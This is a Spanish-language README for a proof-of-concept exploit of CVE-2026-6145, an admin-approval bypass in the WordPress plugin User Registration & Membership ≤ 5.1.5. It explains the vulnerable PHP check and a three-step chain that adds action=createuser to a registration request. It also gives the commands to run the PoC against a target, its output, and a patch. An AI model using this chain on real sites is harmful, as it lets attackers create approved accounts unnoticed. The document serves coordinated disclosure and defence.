
User Registration & Membership <= 5.1.5 - Omisión de la aprobación del administrador por autorización faltante sin autenticación a través del parámetro 'action'
Exploit de prueba de concepto para CVE-2026-6145, una vulnerabilidad de autorización faltante en el plugin User Registration & Membership para WordPress (≤ 5.1.5) que permite a atacantes no autenticados omitir el requisito de aprobación del administrador al crear nuevas cuentas.
| ID CVE | CVE-2026-6145 |
| CNA | Wordfence |
| Vulnerabilidad | Autorización faltante — Omisión de la aprobación del administrador |
| CWE | CWE-862 (Autorización faltante) |
| CVSS 3.1 | 5.3 Media (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| Afectado | User Registration & Membership para WordPress — todas las versiones ≤ 5.1.5 |
| Parcheada | Versión > 5.1.5 |
| Investigador | Anthony Cihan — Líder de Seguridad Ofensiva, Obviam |
| Divulgación | Programa de Divulgación Responsable de Wordfence |
| Publicado | 2026-05-14 |
El método is_admin_creation_process() en includes/class-ur-user-approval.php es la única puerta que determina si un nuevo registro debe tratarse como una creación iniciada por el administrador. Cuando este método devuelve true, se producen dos efectos secundarios:
set_user_status() establece el estado del nuevo usuario en APPROVED, omitiendo la cola de aprobación pendiente.send_request_notification_to_admin() suprime el correo de notificación al administrador para el nuevo registro.El método en sí, en la versión 5.1.5, no contiene autenticación, autorización ni verificación de nonce:
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
Dado que $_REQUEST fusiona $_GET, $_POST y $_COOKIE, un atacante no autenticado puede satisfacer esta comprobación añadiendo ?action=createuser a la URL del envío de un formulario de registro. El plugin entonces auto-aprueba la cuenta y nunca alerta al administrador.
Si bien CVE-2026-6145 aborda específicamente la autorización faltante en is_admin_creation_process(), la explotación no autenticada completa contra un formulario de registro endurecido requiere encadenarlo con dos problemas auxiliares en la misma versión del plugin, ambos manejados automáticamente por el PoC incluido:
El resultado: una cuenta de usuario totalmente aprobada, creada sin interacción ni notificación del administrador, en un sitio que exige explícitamente la aprobación del administrador para nuevos registros.
requestsdata-form-id)git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <target_url> <form_id>
Ejemplo:
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
Después de ejecutar el PoC, inicia sesión en wp-admin y revisa Usuarios → Todos los usuarios:
En sitios WordPress que utilizan la aprobación del administrador como puerta principal contra la creación no deseada de cuentas — común en sitios de membresía, comunidades cerradas, portales internos, plataformas B2B y cualquier sitio que requiera verificación de identidad antes del acceso — esta vulnerabilidad neutraliza silenciosamente ese control. Las consecuencias específicas incluyen:
La puntuación CVSS refleja un impacto solo en la integridad (sin pérdida directa de confidencialidad de datos ni interrupción del servicio), pero el impacto en el mundo real escala con el grado en que el sitio afectado depende del flujo de aprobación como frontera de seguridad.
| Versión | Estado |
|---|---|
| ≤ 5.1.5 | Vulnerable |
| > 5.1.5 | Parcheada |
Usuarios → Todos los usuarios para detectar cuentas aprobadas inesperadas creadas desde que se instaló la versión vulnerable. Presta especial atención a las cuentas sin un correo de notificación al administrador correspondiente.El método vulnerable debería exigir tanto una comprobación de capacidad como un nonce válido:
protected function is_admin_creation_process() {
return current_user_can( 'create_users' )
&& isset( $_REQUEST['action'] )
&& 'createuser' === $_REQUEST['action']
&& isset( $_REQUEST['_wpnonce_create-user'] )
&& wp_verify_nonce(
wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
'create-user'
);
}
| Fecha | Evento |
|---|---|
Los investigadores que siguen el modelo de autorización de este plugin también pueden estar interesados en:
register_member (≤ 5.1.2)Investigación, descubrimiento y desarrollo del PoC:
Anthony Cihan Líder de Seguridad Ofensiva — Obviam
Si haces referencia a este trabajo, cita CVE-2026-6145 con atribución a Anthony Cihan / Obviam.
Esta prueba de concepto se publica solo para investigación defensiva, ingeniería de detección y pruebas de seguridad autorizadas. Está pensada para ayudar a:
La investigación original se llevó a cabo en un entorno de laboratorio autorizado bajo acuerdo firmado, con divulgación coordinada al proveedor a través del Programa de Divulgación Responsable de Wordfence antes de la publicación pública.
Ejecutar este PoC contra cualquier sistema que no poseas o para el que no tengas autorización escrita explícita de pruebas es ilegal según la Ley de Fraude y Abuso Informático de EE. UU. (18 U.S.C. § 1030), la Ley de Uso Indebido de Ordenadores del Reino Unido de 1990, la Directiva 2013/40/UE de la Unión Europea y la legislación equivalente en la mayoría de las jurisdicciones. El autor y Obviam rechazan toda responsabilidad por el mal uso de este código.
Al usar este repositorio reconoces que has leído, comprendido y aceptado estos términos.
Publicado bajo la Licencia MIT. Se requiere atribución según la sección de créditos anterior.
| Paso | Problema | Propósito |
|---|
| 1 | Generación de nonce no autenticada a través del endpoint user_registration_get_recent_nonce wp_ajax_nopriv (comprobación solo de Referer) | Obtener un ur_frontend_form_nonce válido sin una sesión autenticada |
| 2 | Omisión de la comprobación de nonce AJAX cuando ur_fallback_submit no está vacío en el manejador del formulario | Enviar el registro a través de la ruta de respaldo sin un referer AJAX válido |
| 3 | CVE-2026-6145 — action=createuser en $_REQUEST cambia is_admin_creation_process() a true | Auto-aprobar la nueva cuenta y suprimir la notificación al administrador |
| 2026-03-09 |
| Vulnerabilidad identificada durante una auditoría de seguridad autorizada del plugin v5.1.4 |
| 2026-03-09 | Informe inicial enviado al Programa de Divulgación Responsable de Wordfence |
| 2026-04-12 | CVE-2026-6145 reservado por Wordfence (CNA) |
| 2026-05-14 | Versión parcheada publicada por el proveedor; CVE-2026-6145 publicado |
| 2026-05-14 | Este PoC publicado de forma coordinada con el aviso público |